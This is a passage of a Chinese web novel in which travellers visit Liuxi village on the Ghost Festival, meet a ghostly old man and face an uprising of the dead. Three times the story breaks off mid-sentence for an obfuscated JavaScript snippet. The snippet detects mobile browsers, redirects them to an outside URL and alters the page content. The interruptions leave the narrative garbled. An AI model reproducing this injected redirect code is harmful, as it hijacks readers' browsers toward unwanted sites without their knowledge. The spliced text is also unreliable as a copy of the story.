“大姐,是这样,我们是外地来收集民俗文化的。早就听说六溪那一带有好多民族文化遗产,这不是碰巧您就在六溪,我们又不太熟悉这地方,就想着能不能跟您搭个伴,一块儿去六溪。” 和之胖在一起呆久了,凌岓糊弄人的本事愈发熟练。 “那敢情好啊!”女老板爽快应下,“我们小地方除了纸钱那个新闻,好几年都没有啥外人过来。你们等我一下,我把东西拿一下,然后一起去客车站买票坐车。” “网上能买吗?”关扬问。 “网上没有的,十一点二十的车,车站就能买!”女老板应着,手底下的速度又快了一倍。 “她说的那个新闻,估计就是去年我和一川来这儿跟的那宗。” 等关了店,一行人跟在老板后面走。关扬拉着凌岓,看了看捂得严严实实的贺一川,说起方才女老板话里带过的新闻。 “你说她对六溪村的事情知道多少?”相比那宗早已经揭过去的新闻,凌岓对即将前往的地方更感兴趣。 “不知道,得上车再问。”关扬摇摇头,又回头看了一眼姜泠,“我看这个大姐挺喜欢姜姑娘的,要不一会儿你跟她商量商量,让她去套个话。” “谁?”被要求和姜泠商量的人脚步一顿,几不可闻地叹了口气,“我只能说尽力试试吧。” 她比预想中要好说话得多。在凌岓简单提了一嘴,又重点强调不是非去不可的前提下,姜泠想都不想便答应了。 “你不反对?”凌岓不可置信地看着眼前的一尊冰山。 “为什么要反对?”冰山反问,“为行动做准备有什么可反对的?” 上了车,凌岓以不习惯坐在过道为由和姜泠换了座位。女老板颇为嫌弃地念叨一句“好娇气的小伙子”,心里对没那么娇气的姜泠更有好感了。 “小姑娘,你今年多大了?” “24。” “你是哪里人啊?” …… 凌岓觉得不做生意的时候,女老板就是一个典型的中年大姐。他耐着性子听完大姐对姜泠查户口似的盘问,终于熬到了自己想听的话题。 “姐姐,到了六溪,有什么不能做的吗?”姜泠试图平易近人一点。 “不能做的?没什么不能做的!”大姐的热情尚未褪去,一时间也来不及细想。 “今天不是七月十五嘛,您说这在六溪是个大日子。我们第一次来,怕什么都不懂,会触犯到什么禁忌。” 毕竟去过了许多地方,见过了形形色色的人。冰山女士也并非一点儿不通人性。 “我们红杨村倒是没有。”大姐摇了摇头,又突然想起什么,拉着姜泠的手叮嘱,“要是你们去隔壁六溪村,可千万不能去他们祠堂后面的地方。” “为什么?” “哎呀,我不是他们村子的人,具体的,我也不清楚。”大姐对这个话题似乎讳莫如深,“反正你一定记住了,祠堂后面去不得,要不然会出大事!” 姜泠点点头,给另外三个早听进耳朵的人复述了一遍。 客车停在六溪的时候正是下午四点。下了车,刚和大姐道过别,一阵狂风便夹杂着雨点扑面而来。 关扬移到贺一川身后,勉强给她挡住了点儿风。他缩了缩脖子,打了个寒颤。 “穿着吧,小心着凉。”凌岓环顾四周,只看见一个关了门的小卖店,他把包里的外套盖在穿着短袖的姜泠身上,“要是在这儿生了病,恐怕连个医生都不好找。” 按照大姐指的方向,以小卖部为起点,一直向南走,走大约一两公里就能看到六溪村了。 雨渐渐大了起来,四周也没有其他可供避雨的地方,一行人只好顶着雨前行。 “上次我们也是开车来的,但走的不是这条道。”关扬看着凹凸不平的土路,摇了摇头,“我们这走了得有快十公里了吧。” 或许是下着雨的缘故,走了一段时间之后,天色渐渐暗了下来。土路前笼着一片隐隐约约的白雾,雾气缓缓向一行人的方向飘来,可六溪村还是不见踪影。 “这路上,怎么一个人都没有?”贺一川摘下口罩和帽子,前后看了看,语气中带着些害怕。 “湘水夜空巫峡远,不知归路欲如何[1]。”回答她的声音,并非来自另外三人。 一袭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“心上人非良人,少一些初生牛犊的劲儿便能给自己多留一线生机。”老人接着说。 “心上人?”凌岓突然觉得老者的话也没那么可信了,“我没有心上人。” “今日没有,他日未必也没有。” 虽然上了年纪,可老人的双眼却并不浑浊。他看着眼前的年轻人,语重心长,“你若信,这句话便当时时记在心里;若不信,那便只当妄语揭过。老夫言尽于此。” 最后一个人是姜泠,老人站在她面前,沉默了许久。她也安安静静站在那儿,如一口无波古井。 “心似已灰之木,身如不系之舟[3]。”灰色长袍终于结束了沉默,却深深叹了口气,“悲苦之至不由人,万般皆是命啊。” “也罢,难得遇上你这样的命,老夫便做回好人,帮你们一次吧。” 话毕,老人从袖子里抽出一盏青色摇铃。铃铛在他手里颇有节奏地晃着,发出清冽的响声,四周土丘也随着铃声模糊起来。 “这怎么个事儿?”关扬的声音被铃声全盖住了。 铃声停下,风雨立止,天边甚至还能看到一丝太阳将落未落时的余晖。而那位擎旗摇铃的老人早已经不知去向。 凌岓定睛一看——道路两侧哪里是什么遍布土丘的荒地,分明是一座堆满坟茔的墓场。 原本全是白雾的笔直土路现下成了一条看得见拐角的沥青路。前方除了升起来的炊烟,还隐约亮起星星点点的灯火。 “我们刚刚遇到的,是人吗?”贺一川小声问,还是那副畏畏缩缩的样子。 “不是!” “是。” 关扬和姜泠同时回答她的问题,给出两种不同答案。 “姜姑娘,这哪是人能干出来的事儿?正常人又怎么会这么说话?”继孩童骸骨之后,今天是关扬度过的最诡异的一天。 “他是和我们不一样的人。” “那岂止是不一样!”想起老人说的话,惊魂未定的关扬冷笑一声。 “好了好了别争了。”凌岓走到中间,把持不同意见的两个人隔开,岔开话题,“管他是不是人,好歹让我们回到正路上来了。前面应该就是六溪村吧?” “应该是,走过去看看呗。”关扬见好就收,也不再多说。 “你们刚才有没有看到那个旗子上写了什么?”快到村口,贺一川突然发问。 “写什么了?不就是个白旗子嘛。”关扬不以为然,心里想着今晚赶紧抓住那个装神弄鬼的神秘人。 “那不是旗子。”姜泠答,“那是招魂幡。” 16. 第十六章 “六溪村”三个字刻在村口一块大石头上。一直跟着关扬找到提前联系好的老乡家里,四个人都没再说话。 “我还怕你们迷路呢!”说话的老乡正是当时关扬等人借着舆论帮忙维权的万平,“刚说让承祖去村口迎一下,你们就来了。” “坐客车来的,路上耽搁了点儿时间。”关扬应付着,把手里提的礼物放在小院。 “来就来,带这么多礼物。” 万平说着,从屋子里搬出几张凳子,“赶巧开饭,多吃点,晚上还有活动呢。” “活动?鬼节有什么活动。” 关扬小声嘀咕——经历过路上的事情,他说什么也不想和今天这个日子再沾边了。 “我们那边听到最多的是中元节晚上要早点回家,最好不要独自出门。这里不一样,这儿好像真的把这个七月十五当成正经节日过。” 万平的媳妇把一盘又一盘菜端上桌,又不让凌岓帮忙。他只好百无聊赖地看着坐在门口的万承祖把一个个黄纸折成的元宝往纸包里塞。 “正月十五天官赐福,七月十五地官赦罪。” 对于姜泠神不知鬼不觉出现一事,凌岓早就习惯了。 “中元节除了要祭祖迎神,还是祈求安康顺遂的日子。城市里发展得快,很多习俗跟不上发展,就没有什么容身之地了。” “看得出来。有的农村在传承传统文化这方面做得是要比我们好。”凌岓点点头,又饶有兴趣地问,“这次见你,感觉你要比之前活泼很多,至少没有上次那么惜字如金了。” “活泼?”姜泠一愣——从来没有人用这样的词语形容过她。 “对,活泼。”凌岓也不犹豫,有什么说什么,“之前从湔山分开的时候,老郑还叫你姜冰山来着。” “姜冰山。”被起外号的人丝毫没觉得被冒犯,她仔细琢磨着这三个字,心想:这算不算洪钟说的“融入人群”的第一步? “准备开饭啦!”万平喊了一声,打断了两人的闲聊。 菜已经摆齐了,可万家人却不急着上桌。 万平和媳妇从里屋抬出一张四四方方的木桌放在小院正中。身后的万承祖捧着一尊神像,用纸巾擦了又擦,生怕沾上半点不干净的东西。 一碗自家酿的白酒和分放在不同的碟子中的各样菜式被一同摆到神像面前;再点上两根蜡烛和三支清香敬在神像下的牌位跟前,桌面上的布置才算完成。 万平把自己的聋耳老父从屋子里扶出来,一家人恭恭敬敬跪在地上朝着神像磕了三个头。 “七月十五了,请老祖宗回家。”老人嘴里念叨着,“老祖宗一定要保佑我万家人丁兴旺,多福少祸…” 第一次见这样的场面,外来的四个人站也不是坐也不是,最后干脆随着万家人朝神像鞠了三个躬。 “老万,你们供的这是什么神啊?”动筷之前,关扬看了神像好几眼,总觉得在哪里见过。 “家神。”万平分好筷子,解释道,“就像东北那边的保家仙一样,只管一家子的愿望。不过我们的家神就是老祖宗,不信其他的。” “原来如此。”关扬看着那尊神像,绞尽脑汁也想不出来究竟在哪儿见过。 晚饭结束后,黄澄澄的圆月已经出来工作了。院外响起一阵嘈杂,万平赶紧招呼妻儿和客人一起出去。 出了门,凌岓等人才发现,六溪村的男女老少似乎都在这支队伍里了。 抬眼望去,不宽的路边上每隔一步就有三支点燃的清香;香烛更是从路的那头铺到了这头,那场面看上去实在是壮观。 一路跟着人群前行,走到六溪村祠堂才停下来。 祠堂里密密麻麻摆着牌位,大多数都姓万。牌位前的长桌两旁放着十几束鲜花,桌上已经供满了各式各样的水果、点心和冒着热气的菜品。 “那是我们村长。”万平小声说。 头发半白的中年人点了点头,早就等在一旁、打扮成旧时戏班子模样的队伍便开始吹吹打打。一时间,大鼓、唢呐响成一片,舞狮舞龙上下跳腾。 “这比我们家过年还热闹。”凌岓看着新鲜,还不忘和发小吐槽一句这几年越来越淡的年味。 热闹过后,村里各家把塞满元宝和纸衣纸鞋的纸包放在祠堂前,每个纸钱包都有一寸那么厚。 几个年轻力壮的小伙子用这些纸包在草木灰画的大圈里砌了一座留有缺口的塔,每两个纸包之间都夹了一张画有骏马的图片。 圈外还放着一个大钢盆,里面盛着半盆清水。除了一支长火钳,盆上还放着一把菜刀。 接着,村长拿了一支燃得极旺的香烛绕着塔走了一圈,嘴里时不时念叨着“保佑”之类的字眼。 一切结束后,纸塔烧了起来,熊熊火焰照亮了整个祠堂。六溪村村民在村长的带领下,对着祠堂整整齐齐地作了三个揖。 “你跟着凑什么热闹?”看见贺一川也弯腰作揖,关扬下意识扯了她一把。 “入乡随俗嘛。”贺一川盯着燃烧的纸塔回答。 众人回去时,纸塔还没烧完,祠堂那儿只留了村长和那几个年轻人。 路上,万平在最前面走着,顺便给四个外来的客人讲了讲刚刚看到的那些习俗。 根据万平的说法,堆包成塔是为了彰显对祖宗的敬意和诚心。塔搭得越高、越好,烧得就越久,也就意味着老祖宗对今年的祭祀越满意。 夹在纸包中间的马叫做“驼钱马”;纸塔的缺口则代表着亡者领取纸钱的路口;钢盆和上面的火钳、菜刀是为了防止无主的孤魂野鬼靠近,抢了烧给祖宗的财产。 “这些都是为了让老祖宗能顺利取到钱。”万平从小土垛子上跳下去,“祖宗过得好,就能保佑我们都平平安安、健健康康的。” 换句话说,等到纸塔烧尽,老祖宗们就能心满意足地回到天上地下,这些子孙后代也就能继续享受庇佑了。 “纯封建迷信。这要放在安城,高低得被举报成破坏环境。”关扬暗自腹诽,面上却还得摆出一脸惊叹。 “万哥,咱村子怎么把祠堂建在树林前面了?” 凌岓看万平滔滔不绝的样子,趁机打听起了祠堂后面的秘密。 前面的人脚步一滞,“问这个干嘛?” “害,就是单纯好奇。”凌岓故作不在意,“要是不能说就不说了。” “也没啥不能说的。”万平低下头,想了老半天,“以前的人说把祠堂建在树林前面,老祖宗就能保佑这片山林一直有好东西嘛。” “好东西?什么好东西?”关扬赶紧追问。 “能有啥好东西啊。我们这些人,放在以前那就叫山民。山民就是靠山吃山,靠水吃水。” 万平自嘲道,“没有金矿银矿,就得让老祖宗保佑林里的什么草药啊、菌子啊多长一些,河里的鱼啊虾啊再长肥一点。” “那这么说,后面的树林里能采到野生菌?”凌岓接着套话。 “以前可以,现在不行了。”万平摇摇头,“自从去年那个污水排放之后,这些地方就被上面保护起来了。现在呀,想进都进不去。” “老万的话能信几分?”关扬把凌岓拉到一行人最后面,低声问。 “十有八分吧。”对方答,“另外两分不可信。一分是他知道祠堂后面是禁地,找了个被保护的借口搪塞我们;另一分是他也不知道祠堂后面的树林到底有什么。” “不是说草药菌子之类的山货吗?”关扬又问,“他们肯定是进去过的,要说不知道里面有什么,这也太扯淡了。” “不好说。”凌岓把声音压得更低了。 “烧纸的时候我看了看,祠堂后面那片树林是从山上长下来的。他们可能也只是进去过一点儿,有没有深入其中就不好说了。” 入夜,手机上的时间跳到了22:30。万平一家已经洗漱完毕,准备在万承祖吵着闹着要看电视的背景音下入睡。 “你们还不睡啊?”万平从房间里探出半个脑袋问围坐在院内桌子边嗑瓜子的四个人。 “这个点儿,睡不着。”关扬露出一脸难受的表情,“熬夜熬习惯了,非得等到一两点才有点困的意思。” “你们这些年轻人啊!”万平叹了口气,“身体是自己的,等上了年纪你们就知道了,这个熬夜是万万熬不得的。” “知道啦,晚安老万!”关扬咧开一嘴笑容,朝万平挥了挥手。 “你以为我想熬啊,还不是那个神经病非要约到十一点半。大半夜的不睡觉,不仅变态还有病!” 一转头,关扬立刻变脸,开始咒骂那个威胁贺一川姐妹的神秘人。 “我看过了,他约的那个桥就在这个位置。” 凌岓双指放大了手机上的地图,上面有一条蓝色的曲线穿过,旁边还标着“小六溪”三个字。 “这样,我和姜大夫一组,埋伏在这边。”凌岓指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598696|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手机上的图片说,“从软件上的照片看,这桥还有个桥洞。老关你就藏在桥洞这儿,记得打开录音。” “等到他带着贺希出现了,该套的话套完了,我就想办法制住他。老关你录完音赶紧过来支援我。” 手机从说话的人手里转移到了姜泠手里,它的主人还不忘继续安排:“姜大夫,电源键按五下就能报警,只要你听见动静就马上按,千万别犹豫。” “第一,我有手机。”姜冰山女士毫不犹豫地把带着上一人余温的手机塞了回去,“第二,我觉得你不如让我来支援你。” “你什么意思?”关扬怎么听都觉得这句话是在嫌弃他不靠谱。 “身高一米七七,体重八十公斤。鉴于你长期扛着重设备在各地辗转,我对你的体力并不怀疑。但你的灵活性未必有你的体重可靠。今晚不是散步旅游,稳妥起见,我们对调一下方位比较好” 姜泠一口气说完,关扬气结,甚至忘了问对方怎么会知道自己的身高体重。 一旁的凌岓看着一本正经的姑娘,想笑又不能笑,只好憋着一口气做决定: “那就这么办吧。姜大夫自己注意安全。贺小姐也是,有问题的话别硬碰硬,先吹哨子。” 半小时后,村子里已经连狗叫声都听不见了。万平家的院门被轻轻打开又轻轻合上,四个身影潜入月色之中,直奔小六溪而去。 “你们有没有听到什么声音?”语音提示还有二百六十五米到达目的地,走在最后的关扬突然听见身后好像有人在说话。 “哪有声音?”四个人纵列前进,挨得却并不远。打头阵的凌岓放慢脚步听了听,什么都没听到。 “那可能是我听错了。”走在队伍最后的人再仔细听时,那声音又消失了。 “目的地在您左侧,本次导航结束”—— 一条弯弯的石桥出现在众人眼前,手机提示音关闭之后,这里只能听得到桥下的流水声和树叶偶尔被风吹动的沙沙声。 还有三分钟就要到纸条上约定的时间了,可石桥上仍旧空无一人。月光倾泻下来,桥的四周除了这四人,也再不见有其他人的影子。 “确定是十一点半嘛?我们没看错吧?” 关扬的声音打破了诡异的安静。即便已经反反复复把纸条看了许多遍,面对空无一人的石桥,他还是有些怀疑。 “不可能,一个人会看错,这么多人怎么可能都看错。”凌岓不紧不慢看了眼时间:又过去了一分钟,“再等等吧,说不定一会儿就到了呢。” 十一点半了。最后两分钟过得飞快,只可惜依旧没有人在这两分钟内出现。 “我们不会是被放鸽子了吧?”关扬问,“除了我们几个像傻子一样站在这儿,哪还有人?” “别急,人来了。” 因为出门的时候是在晚上,贺一川便没再戴她的口罩和帽子。借着月光看过去,回答完关扬问题的她脸上挂着微笑,语气里再没有任何恐惧感。 顺着这个答案看过去——石桥不远处闪起了忽明忽暗的光亮,影影绰绰;光亮之中,人头攒动,似有千军万马朝此处进发。 “团伙作案啊?”关扬看傻了,呆愣愣地问。 “七月十五鬼门开,百鬼夜行。”姜泠回答他,继而又问贺一川,“这就是你的目的吗?” “当然不是。”贺一川挑眉,兴味十足地看向姜泠,“看来你早就知道这儿有什么,那为什么还要来?” “你们说啥呢?”关扬从两个人的对话中咂摸出不对劲儿,试图打断她们的谈话,得到一个明明白白的解释。只可惜,没人理会他的问题。 “我这次来,就是为你来的。”语气平和,听不出什么危机感。 “是吗?”贺一川哂笑,“那你怕是太高估自己的能力了,重头戏还在后面,现在后悔可来不及啊。” “她们疯了吧?”被无视的关扬从兜里摸手机,好不容易摸出来,手一滑,手机掉进了河里。 “老凌,干啥呢你!还不赶紧报警!” “试过了,打不了。” 早在两位女士对话的时候,凌岓就已经试着拨电话了。手机屏幕上显示信号满格,但那三个数字的报警电话却怎么都拨不出去。 “那现在,怎么办?” 在灯火里移动的人影离得越来越近了,关扬开始后悔自己当初不听劝,非要来此。 “还能怎么办,见招拆招吧。” 17. 第十七章 百鬼夜行 关扬是想拉着凌岓转头就跑的。 最近这段时间接二连三的震惊让他的大脑麻木了许久,到现在才开始慢慢转动:如果灰袍老人说的是真的,那么根据两位女士的谈话来看,应该只有他和凌岓是真正意义上的活人。 然而原路逃跑计划未遂——关扬一转头,看见的不是来时的路,而是另一队不太正常的人马。 相比之下,从来路过来的这一队离他们比从前路过来的那一队还要更近一些。 这位常年东奔西跑的自媒体人被眼下两头围堵的情况气笑了,他甚至冒出拍张照记录下来,回去写一个中元节专题的荒唐想法。 “反正也走不了,我们是不是应该给人家让个道?” 显然,凌岓也看到了后面的这支队伍。尽管看得不真切,他却也知道来人不少。 四个人挪到一边,姜泠叮嘱另外几人别抬头。 锣鼓喧天,唢呐高扬着吹出一曲欢快的调子。 从来时路上走来的人马已经近在眼前了,凌岓才看清这是一支结婚的队伍。 队伍的最前面是戴着礼帽的新郎倌,他骑着一匹高头大马,胸前戴着一朵红绸大花,身上的婚服像是民国时的风格。 新郎倌身后,是八个抬着红轿子的轿夫。轿夫再往后,便是一众送亲的队伍了。 可不同于寻常的送亲队伍,轿夫身后的男女老少穿着各异。有穿着旗袍的、有套着短袖汗衫的。更有甚者,裹着一身棉大衣就跟在了队伍后头。 如果硬要找出这些人身上的相同点的话,那想必就是他们脸上的表情了——除了打头的新郎倌,没有一个有笑容,队伍里的每个“人”都是一副死气沉沉的样子。 送亲队伍从四人面前经过,快走到尾巴时,同桥那边过来的队伍碰上了。 一样的敲锣打鼓,一样的万头攒动。只是桥那边的队伍吹出的曲调哀怨凄凉,听得人几乎落下泪来。 迎面过来的队伍里,为首的人披了一身白,袖子上别着一块黑布,头上还缠绕一条白布带子。 这人身后也跟着八个青壮年。不同的是,这八人抬的并非喜轿,而是一口黑漆漆的棺材。 漫天的白色纸钱从头顶洒了下来,队伍后跟着的人一样穿着各异,却都哀哀凄凄地哭泣着。 “关扬——” 送葬的队伍经过身边一段距离时,有人喊出这个名字。 说时迟那时快,姜泠一把按住关扬打算向后转的脑袋:“别回头,别出声!” “前路多舛,切记七月十五鬼门开时,莫要答应任何喊你的声音。” 灰袍老人的声音在心底响起,关扬惊出一身冷汗。 送葬的和迎亲的队伍都远去了。那个喊叫名字的声音不甘地重复了好几遍,直至慢慢消失,被喊的人才敢抬起头。 “谢谢。”关扬郑重其事地对姜泠说。 “时间到了。” 不等姜泠答应什么,一旁的贺一川猛然抬起头,表情扭曲又疯狂地重复着,“时间到了!” “六溪村?”凌岓瞠目结舌地看着周遭的变化。 小六溪还在身边流着,小石桥也仍在视线内。可是,正前方的土路变成了沥青路;原本的树林被房屋所代替——这正是他们借宿的六溪村。 “不是不报,时候未到!” 贺一川大笑起来,目光阴冷,死死盯着“六溪村”三个字不放。 接着,半空中突然飘出许多孔明灯。和写上美好愿望的温情版本不同,这些孔明灯上面都只有一个字——不是杀,就是恨。 脚下传来奇怪的响动,一、二、三…… 数不清的人从地底下、小河中前赴后继地钻出来,凌岓仿佛又回到了湔山那个骨洞前。 “又是借骨还生?”慌忙躲避间,凌岓不忘问身旁的姑娘。 “不是。”姜泠拽着不大灵活的关扬节节后退,“这可能只是一场纯粹的屠戮。” 钻出来的人各有高矮胖瘦,有光秃秃一具的白骨架子,也有面容清晰、看起来真实存在着的“人”。 它们并不攻击站在原地不动的贺一川,只是把她围在中间,似乎在等待着她发号施令。 “前面就是六溪村,这就是六溪村!” 贺一川几近癫狂地笑喊着,“进去看看吧!这是你们,是我们的家!是人死了都不能安生的故乡啊!” 围在她身边的“人”听了这句话,纷纷涌进村子。 姜泠暗道一声不妙,跟着追了过去。 “七月十五,地官赦罪!” 追过去的姑娘挡在乌压压的“人群”面前,掌心托着一块发出莹莹黄光的缺角玉玦。 不知是喊出来的八个字还是这玉玦起了作用,“人”群暂时停下了前进的脚步。 “八月十五,地官赦罪。”姜泠又冷静重复了一遍,继续开口,“人死灯灭,魂散骨销。生前苦难一笔勾销,死后怨恨也不应再牵涉活人。” “不牵涉活人?”贺一川从“人”群中走到最前面,冷笑着,“你说得轻巧!苦难的缔造者心安理得地在这儿享受生活,我们这些被迫吞下苦果的人又怎么能轻易一笔勾销!” 原本停下脚步犹豫的亡者,此刻听了贺一川的质问,又变得凶狠起来。 “挡不住了,得来硬的。” 眼见人群步步紧逼,姜泠只好托着玉玦往后退,还不忘跟身后的两个大活人交流情况。 “来硬的?” 凌岓早就料想到了,他拍了拍身边的发小,看向打头的贺一川,“你跟她最熟,搞定她,至少别再让她说话了。” “谁?我?”关扬指了指自己,然后咬牙答应下来,“行!” “谁在那儿?” 黑漆漆的房子突然亮了起来,三人回头一看,是村长带领村民打着手电站在身后。 在强光手电的刺激下,逼近的亡人又一次停住了脚步。 “太好了!我们有救星了!”关扬今晚第一次长舒了一口气。 “苗儿?” 村长旁边站着的妇人在人群里看到一张熟面孔,脸色登时变得煞白—— “苗儿?是你吗苗儿?你不是早就…了吗?” “这可能不是救星,大概率是来添乱的。”听见妇人的问题,姜泠第一次表露出深深的无奈。 那个叫“苗儿”的女孩子看起来只有七八岁大,她一瘸一拐从人群里走出来,每一步都留下一个血脚印。 “我去,他们不会是?”当着村民的面,关扬最终还是没敢大声把“砂仁犯”三个字说出来。 “妈妈,抱!” “苗儿”张开双臂,一拐一拐地走过来,几乎和关扬梦里的小女孩重叠在了一起。 “你别过来,你别过来!” 那女人看见“苗儿”往自己面前靠近,一脚没站稳跌坐在地上。 “苗儿,你已经不是我的女儿了,你别来找我啊!”女人声音发抖,一句话听得在场众人没一个好脸色。 “妈妈,我等了你好久啊!”小女孩脚步不停,满脸都是委屈,“为了找妈妈,苗儿的脚破了,腿也烂了——妈妈,太疼了!” 没人明白这中年妇人此时此刻在想什么。但见她眼里噙着泪花,嘴里念着女儿的名字,一双手伸出去一半,又触电般缩回来。 “妈妈——”小女孩已经离得很近了。 细长的黑鞭从姜泠腕上飞出去,小小的身影立刻被卷出去老远。 “苗儿!”中年妇人狠狠撞过去,怒问,“你干什么!” 出手的人本意不想伤害小姑娘的,只想让她退回到双方的安全距离。可被女人这么猝然一撞,手上脱了力,那小女孩也跟着狠狠摔到了地上。 “你要干什么!”女人不依不饶,“不许你伤害我的苗儿!” “活着的时候不管,如今对一个逝者倒是十分在意。”姜泠也不恼,轻轻把胳膊从女人的手里抽出来,对此见怪不怪。 “你说什么!”妇人的脏话还没到嘴边,就看见身边的人齐齐向后退着—— 从地上爬起来的小女孩以一种极为古怪的姿态掰了掰自己的小腿。随后,她的头三百六十度转了一圈,确认身后没什么,才又咯咯咯笑起来。 以贺一川为首的这条“人河”又动了起来,步步紧逼。 “那不是老三他们家之前那个城里媳妇儿嘛!”一个男人的声音从后退的人群中冒出来。 “我靠!妈,你看那像不像我奶!”又一个年轻的声音跟着叫道。 刚刚失控的女人吸引了众人的注意力,现在许多人才从步步临近的对面队伍里认出一些“熟人”来。 “什么情况?”关扬听见身后此起彼伏的认人声,头都要炸了,“敢情这是他们祖坟里埋的集体复活了是吧!” “都别说了!快去祠堂!”村长一声断喝,压住了一片嘈杂。 就在此时,一道黑影飞扑上来,凌岓身旁的一个村民下一秒便被压在地上,咬住了脖子。 “这怎么还带釜山行啊?[1]”关扬说着,把早就失去信号的手机稳准狠地砸向了另一个扑上来的身影。 “准头不错啊!”说话的是万平,他刚刚帮凌岓一棍子撂倒了一个爬过来的偷袭者,“就是用这个打人,太浪费钱了吧。” “钱财乃身外之物。这玩意儿没有信号跟砖头没什么区别。” 关扬回话的间隙,整个场面已经乱作一团—— 贺一川身后的那些人百米冲刺扑上来,一些村民还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644138|142863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来得及反应,便被昔日的“熟人”攻击了。 姜泠灵活地在人堆里避来闪去,顺带帮着不少人脱离开被纠缠住的困境。只是,她一举一动都不怎么太用力,丝毫没有伤害这些攻击者的意思。 凌岓也没闲着,一边抵挡着攻击,一边和村长一起连拉带拽地把村民们往祠堂的方向推。 “快进祠堂!快进祠堂!” 祠堂近在眼前,纸塔留下的余烬中还有没灭干净的火星。村长挥舞着手电,嗓子都喊破音了。 乌泱乌泱的人往祠堂院门里挤,说也奇怪,那些袭击者们到了祠堂附近,反而逡巡着不敢靠近了。 “这个祠堂还挺灵。” 等发小和姜泠都进了祠堂,凌岓和村长一人一边将院门关上,又用院中的两块寿山石抵在了门前。 “灵?”等村长去查点村民人数时,关扬气喘吁吁凑过来,“指不定这里边哪位老前辈现在就蹲外面候着呢!这不叫显灵,这顶多叫现形。” “那你说,他们为什么不跟进来?” 关门的人趴在门上听了好半天,确定没什么撞门的动静后,才把一颗悬着的心暂时放下。 “因为这个祠堂里有东西。” 姜泠也贴近院门听了听外面的情况,顺便答了一嘴男人的问题。 “什么东西?”凌、关二人异口同声。 “这我还不太确定。” 玉玦又被回答的人拿了出来,只是现下不再发光了,看上去和普通的玉没有多大区别。 “这东西是干什么的?”早在村口的时候,关扬就想问了。 手持玉玦的人绕着祠堂缓缓走了一圈,没吭声。 “可能是什么祖传法器吧。”凌岓见状,打了个圆场。 “刚才是为了减少他们的怨恨。”一圈绕完,玉玦的主人才给出答案,“现在是为了判断祠堂里的东西到底放在哪儿。” “怨恨?” 想想贺一川,再想想那个叫“苗儿”的小女孩,关扬头皮发麻。 “只可惜,玉玦还不完整,力量太弱了。所以既不能完全消解亡者的恨,也没法压制他们太长时间。” “姑娘,你这么厉害,就没有什么办法把他们都解决掉吗?” 插话的人正是苗儿的母亲,那个先前还准备骂骂咧咧的女人。 “他们?”姜泠微微侧过头,“里面还有你的女儿。” “那不是我的苗儿。”这女人眼里早没了当初的泪花,反倒是恨恨地朝地上啐了一口,“我家苗儿早不在村子里了!就算在,也不会来害她妈妈!” “有没有可能是你先做了对不起她的事儿,然后才…”凌岓在一旁站着,多少有些听不下去了。 “我是她妈!”妇人不等话说完就张牙舞爪起来,“我生她养她,就算我有什么做得不对的,也不叫对不起她!再说了,那压根就不是我的苗儿!你们赶紧想办法把他们全都处理掉!” “我们想什么办法?”关扬反问。 “你们一来,就出了这种事情。要说跟你们没关系,谁信啊!” “就是就是…” 这女人是个大嗓门,现下吵架似的站在院子里,引来一部分村民的附和。 “再说了,大晚上的你们不睡觉,站在村口干什么?谁知道是不是你们把外面那些人引到我们村子里来的!”见有人撑腰,女人愈发得意起来。 “哎哎哎,好了好了不要吵架。”万平从人群里挤出来,“小关你们又不是不认识,要不是他,那方老板能给咱们赔钱嘛!” “就是啊!”万平的媳妇看长相也是个和善的人,“再说了,人家刚刚救了咱的命,咱现在这样不是过河拆桥嘛!” 这几句话一出,人群里又传出了赞同万平夫妇的声音。一时间,村民们又吵成一团。 “都闭嘴!”许久不开口的村长发话了。 “小关,对你,我们都是信任的。”村长冷冷看着关扬,“你的朋友们有本事,这一点,大家也有目共睹。我只问一句,现在这事儿要怎么办?” “是啊,到底有没有办法?总不能让我们全村人都饿死在祠堂里吧!”有人附和村长喊道。 “这…说实话,这跟我们真没什么关系。” 事情发展到这个地步,关扬也不太确定到底是不是自己人这边的问题。他习惯性辩解道:“今天不是七月十五中元节嘛,说不定就是日子不对。” “昨天是七月十五,现在已经七月十六了。”凌岓无意拆台,低声提醒了一句,被发小瞪了回来。 “有办法。”姜泠的玉玦不知什么时候又亮起微弱的光了。 “什么办法?”村长问。 “把藏在这儿的东西取出来,就有办法。” 18. 第十八章 回魂灯 “你要找什么东西,??不妨明说。只要我们有,一定会给。” 好消息,村长没有拒绝把祠堂里的东西交出来;坏消息,村长好像也不知道祠堂里藏了什么。 “我不知道这座祠堂里究竟藏了什么。”姜泠实话实说,“这里面有没有暗格或者密室?” “小姐,现在什么年代了?哪来的暗格和密室?”闻言,村长哭笑不得,“当我们演电视呢?” “祠堂后面是什么?”想起灰袍老人的话,玉玦的主人心里敞亮起来。 “山,树林子。” “能进吗?” “不能。” 